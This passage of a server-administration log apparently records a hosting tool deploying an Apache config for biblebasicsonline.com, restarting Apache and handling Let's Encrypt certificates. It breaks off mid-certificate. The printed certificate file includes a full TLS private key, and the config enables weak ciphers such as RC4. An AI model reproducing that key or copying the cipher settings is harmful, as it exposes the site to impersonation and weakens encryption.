DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:31:
PUT: /tmp/pkp847214
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi
2026-01-14 06:00:31:
chmod 755 /tmp/pkp847214; /tmp/pkp847214; rm /tmp/pkp847214
2026-01-14 06:00:31:
2026-01-14 06:00:31:
PUT: /tmp/pkp178676
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-14 06:00:31:
chmod 755 /tmp/pkp178676; /tmp/pkp178676; rm /tmp/pkp178676
2026-01-14 06:00:32:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:32:
PUT: /tmp/pkp287326
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-14 06:00:32:
chmod 755 /tmp/pkp287326; /tmp/pkp287326; rm /tmp/pkp287326
2026-01-14 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:00:32:
PUT: /tmp/pkp986023
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:32:
chmod 755 /tmp/pkp986023; /tmp/pkp986023; rm /tmp/pkp986023
2026-01-14 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 1467
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-14 06:00:32:
PUT: /tmp/pkp390900
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:00:32:
chmod 755 /tmp/pkp390900; /tmp/pkp390900; rm /tmp/pkp390900
2026-01-14 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt 5413
b0:68:b0:99:5c:c0:93:1a:a3:da:c3:ff:2d:3a:5b:94
-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBicsNdbC1LCxh3ZuqX0En//AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMTU5WhcNMjYwNDE0MDUwMTU4WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCm+LEZ7NkH2SShot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ
4gvRve+UXYPgJiZY0Cr0nsvV2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBh
idCKY2vmmY8fnll5yn428FRvX2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJF
q4r9mO/fGeXbfs+wen69S9pDu8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxq
AZw7u8lrJK20YF+7l6e+W/b0G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4Y
CNuCswdE1J+snxtFB+iafqQpMqLajTIzAgMBAAGjggJIMIICRDAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLxZvQbvRxnEi6MC6/5q4s/VvWANMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNjUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMtq/CpJQ8P8Dql
Rf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbuxdgFgAABAMARjBEAiA5+57uxptxFMX1
d8EYEW7xTTh0A4bB2DZ0gq/24jR/pAIgautQsJlIi5woKRnRn8FrY/zhiSTJ9Hsp
VBmbS0znhh0AfwDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZu7
F2I7AAgAAAUAL1d2/wQDAEgwRgIhAOR1VjlNwXpTbgt/1HH0Ek3uzzoNuO2IFaB1
tkuCSRBcAiEAndAzm+MqTqG5iq6/nluVc5fWNW8dCImrmhft2qhXpOwwDQYJKoZI
hvcNAQELBQADggEBABPsSy0Q/fPwBpqvMb9xJRc+15LGm6KOjipX8K++U7ArkdzL
QiZcP9V77yIp/+lbKCDehpID9quVDu+7boEieLgGgQeIN3MUFPLFA+XTkwKYnW5W
qCk4h/pxCO8XPsTiHJCIWpdNhVy/8y1tnubSgAS1zT9cP5Pg29pkIuAE7vdU5IUq
B5tJk0HXagcbMbT5+D/o2G8ZM8Zi6U2ekdfMski2pomBzwz8F/TDWu+4wsgZd+FE
J60cjm3T43zh6ZCG0SIZIKDDPAoa25zwHu8J6aLMRz8cKQ4Q2Up7jzPA/dFsOmx4
rOclO0o9JMaGLt36I0bJQePGFffjNlnuw9zOPSc=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCm+LEZ7NkH2SSh
ot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ4gvRve+UXYPgJiZY0Cr0nsvV
2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBhidCKY2vmmY8fnll5yn428FRv
X2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJFq4r9mO/fGeXbfs+wen69S9pD
u8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxqAZw7u8lrJK20YF+7l6e+W/b0
G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4YCNuCswdE1J+snxtFB+iafqQp
MqLajTIzAgMBAAECggEAAIn92YRKXoDUz98O33LWnebzR4GYgCu6IMk5mPiaJwFF
hwmN/92oKXbWEO6PnLm3/SCLi262UoCzl3kAiRwv9iKyfYOWKJ7G3QGc6GTVQuUB
9SX3thQcN5/SamI9yIE5jA9MYThq2C2z3u+aCKb+FmQk7NPvWkivx4uB+S8jsSKp
NPqyWRiSKvRuoBnHXcS/1YeDpZP6sMQ8v6p0mq1e/LHQ4Gn4Smxvon8JPTxjxpf1
auSp0+zYPfD+/VrtdNoudteC5sHjOIy4v1sMDYm39o3V6QlO8THsL7PDEy0AafCc
3r9gsH2neckTAbW8YhuJwd5rxBnmeMgXXt6zQFsf0QKBgQDS5PI1Vsoptqk8WZFH
0aUqyWlN5sJZNAoZJsjsCIlXyZygyzu6galjcaAHS8kKwaOQzfKfVuCPHxSxaCSp
/P0UCn8w//Vd7CvIxWLAVbtE9NP3BhxxklEeL8Oe+caqQOo6Ek+5S2+xUPOfobE5
UwP9jbywkqS0biuSJJxkKlG6SwKBgQDKrtiFkqQCKgbKc9Uiz0K8zsRlrHDHHlij
q//XqjC1K6Er5vTdst9n/EEBMzpSqNIkvxf/6xIXS9jzC1mkGsHsbvcZqkIIpMvo
8kxaznkTqvvw+C4fThexPSncGFpSQblY3t/8DvOnutYMFgopZu8L705gChVqqXuB
5x2eCX12uQKBgGs9vOTew2K+3gQwT65Dr0e4r/HLPFz8F35+uIE+PgkEHr+tWSwY
LzjAWO4c3Zi4qyJBd/UKypo85dro6GwAl/kO9WrHXdBq/kDUDslbTyVbkkX1N5WR
H+rHwyQeQ6Xj6LerBBtnft6eGaS9Jk/OJSNUZfUsPND7jPB96YEN/A1NAoGBAJIY
xmpB8Ya91HdKV2/oBisiv96qFgDxluMjsB88xi9Ra7PBnu/PZ8oEwraivn+mwRNL
y3jlcPzp51AJ9mub/fz3X5ZYa5DfeTxIq1EpU40hysk/m79lAx72/51u0GxKg9fT
j5CZFnjo7DF6EYkWcWkg7lW77wQbdrOEbIzmOlHBAoGAG5Gwl+dJX1zb5qm/AEMf
N75EimNGath8OJ8qgjta53e5XiD+o4kuBgVnber40aZLv5DAv/Qqr/FzZ67C+Qiu
ao0MwYiUkOtDo8S2P+odbxYeyRfd4o3/C9vX55cI8pjf0iYO4rAL+o0GtgiBAz+/
YF1vwwZwacOfSxJtaS5T0gA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:33:
PUT: /tmp/pkp918739
#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:00:33:
chmod 755 /tmp/pkp918739; /tmp/pkp918739; rm /tmp/pkp918739
2026-01-14 06:00:33:
1
2026-01-14 06:00:33: Establishing a connection
2026-01-14 06:00:33:
PUT: /tmp/pkp860903
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q
cat > GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8
2026-01-14 06:00:33:
chmod 755 /tmp/pkp860903; /tmp/pkp860903; rm /tmp/pkp860903
2026-01-14 06:00:33:
2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:42:
PUT: /tmp/pkp572023
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q
rm GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8
2026-01-14 06:00:42:
chmod 755 /tmp/pkp572023; /tmp/pkp572023; rm /tmp/pkp572023
2026-01-14 06:00:42:
2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:42:
PUT: /tmp/pkp107450
#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt
cat > $temp_file <<'endmsg'
32:d4:eb:3b:17:46:9e:be:bd:f1:ba:4c:7e:a3:34:2d
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBtrGwdHqGCNQRB6ePU9pXvdzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMjExWhcNMjYwNDE0MDUwMjEwWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDID/cI
jrD1d6/YggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+e
soN4bszrJVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9A
ZUfQZN+cd4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7
Rk3dwaawVlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP
+p0DBPzCt8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQ
beLwoWYUIqYQfH8JAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
